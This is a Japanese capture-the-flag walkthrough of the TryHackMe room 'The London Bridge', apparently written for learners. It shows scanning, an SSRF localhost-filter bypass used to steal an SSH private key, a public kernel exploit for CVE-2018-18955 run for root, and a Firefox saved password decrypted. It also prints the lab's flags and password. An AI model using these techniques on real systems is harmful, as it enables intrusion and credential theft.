【TryHackMe】The London Bridge：Walkthrough

# 概要

TryHackMe「The London Bridge」のWalkthroughです。

https://tryhackme.com/r/room/thelondonbridge

# Task1

## **Q1**.*What is the user flag?*

**Hint**.*Check for other parameters that may been left over during the development phase. If one list doesn't work, try another common one.*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.70.215 -oN nmap_result
PORT      STATE    SERVICE    VERSION
22/tcp    open     ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
6630/tcp  filtered unknown
8080/tcp  open     http-proxy gunicorn
|_http-server-header: gunicorn
|_http-title: Explore London
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 11 Oct 2024 11:27:13 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2682
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Explore London</title>
|     <style>
|     body {
|     font-family: Arial, sans-serif;
|     margin: 0;
|     padding: 0;
|     background-color: #f2f2f2;
|     header {
|     background-color: #333;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     background-color: #444;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     color: #fff;
|     text-decoration: none;
|     margin: 0 10p
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 11 Oct 2024 11:27:14 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|_    Content-Length: 0
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|8080|http-proxy|gunicorn|

`8080`にアクセスします。

![8080 index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ab37e6e7-3711-3849-5582-c98ac5b5a74c.jpeg)

ディレクトリスキャンをします。

```
$ dirsearch -u http://10.10.70.215:8080/
[07:32:20] 200 -    2KB - /contact
[07:32:30] 405 -  178B  - /feedback
[07:32:32] 200 -    2KB - /gallery
[07:33:23] 405 -  178B  - /upload
[07:42:50] 200 -  823B  - /dejaview
```

`/dejaview`でURLを指定して画像を表示できました。

![view image.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9fa9efcb-dd55-7996-61bd-8cb25c4eb6c8.jpeg)

ヒントからリクエストのパラメータが他にもあるようなのでファジングします。

```
$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -request dejaview_request -u http://10.10.70.215:8080/view_image -fs 823
www                     [Status: 403, Size: 239, Words: 27, Lines: 5, Duration: 240ms]
```

`www`パラメータを発見しました。
SSRF攻撃が出来そうです。
`http://127.0.0.1`でリクエストを送りましたが、アクセス拒否されました。

![www param.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a121ffa0-d477-a3c1-e792-6ba9af0782fe.jpeg)

Localhostアドレスのフォーマットバイパスを試します。

https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass#localhost

`http://127.1`でバイパスできました。

![localhsot address format.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1d1983f6-66e8-1a10-58b6-53c202ce4ccf.jpeg)

ローカルのディレクトリを列挙します。

```
$ ffuf -c -w /usr/share/wordlists/dirb/common.txt -request ssrf_request -u http://10.10.119.107:8080/view_image -fs 469
.bash_history           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 245ms]
.bashrc                 [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 250ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 251ms]
                        [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 296ms]
.profile                [Status: 200, Size: 807, Words: 128, Lines: 28, Duration: 303ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 332ms]
index.html              [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 263ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 251ms]
templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 367ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 244ms]
```

`.ssh`フォルダから`id_rsa`,`authorized_keys`を得られました。
SSH接続をします。

```
$ ssh -i id_rsa beth@10.10.119.107
beth@london:~$
```

ユーザーフラグを検索します。

```
$ find / -name *user.txt* 2>/dev/null
/usr/share/doc/fontconfig/fontconfig-user.txt.gz
/home/beth/__pycache__/user.txt
```

`/home/beth/__pycache__/user.txt`からユーザーフラグを入手できました。

```/home/beth/__pycache__/user.txt
THM{l0n6_l1v3_7h3_qu33n}
```

**A**.**THM{l0n6_l1v3_7h3_qu33n}**

## **Q2**.*What is the root flag?*

Kernelのバージョンから`CVE-2018-18955`が見つかりました。

```
$ uname -a
Linux london 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```

https://nvd.nist.gov/vuln/detail/CVE-2018-18955

PoCは下記リポジトリを使用しました。

https://github.com/scheatkode/CVE-2018-18955/tree/main

ターゲットマシンにファイルを用意し、エクスプロイトコードを実行するとroot権限を取得できました。

```
$ ./exploit.dbus.sh 
[*] Compiling...
[*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Launching dbus service...
Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[+] Success:
-rwsrwxr-x 1 root root 8392 Oct 11 21:01 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@london:/tmp/CVE-2018-18955/10.6.55.144#
```

`/root/.root.txt`からルートフラグを入手できます。

```/root/.root.txt
THM{l0nd0n_br1d63_p47ch3d}
```

**A**.**THM{l0nd0n_br1d63_p47ch3d}**

## **Q3**.*What is the password of charles?*

`/home/charles/.mozilla/firefox`からプロファイルデータを発見しました。

```
root@london:/home/charles/.mozilla# ls -la firefox
total 12
drw-------  3 charles charles 4096 Mar 16  2024 .
drw-------  3 charles charles 4096 Mar 16  2024 ..
drw------- 16 charles beth    4096 Mar 16  2024 8k3bf3zp.charles
```

ダウンロードし、復号ツールでパスワードを復号できました。

https://github.com/unode/firefox_decrypt

```
$ python firefox_decrypt.py ../firefox/8k3bf3zp.charles
2024-10-12 00:59:09,747 - WARNING - profile.ini not found in ../firefox/8k3bf3zp.charles
2024-10-12 00:59:09,747 - WARNING - Continuing and assuming '../firefox/8k3bf3zp.charles' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
```

**A**.**thekingofengland**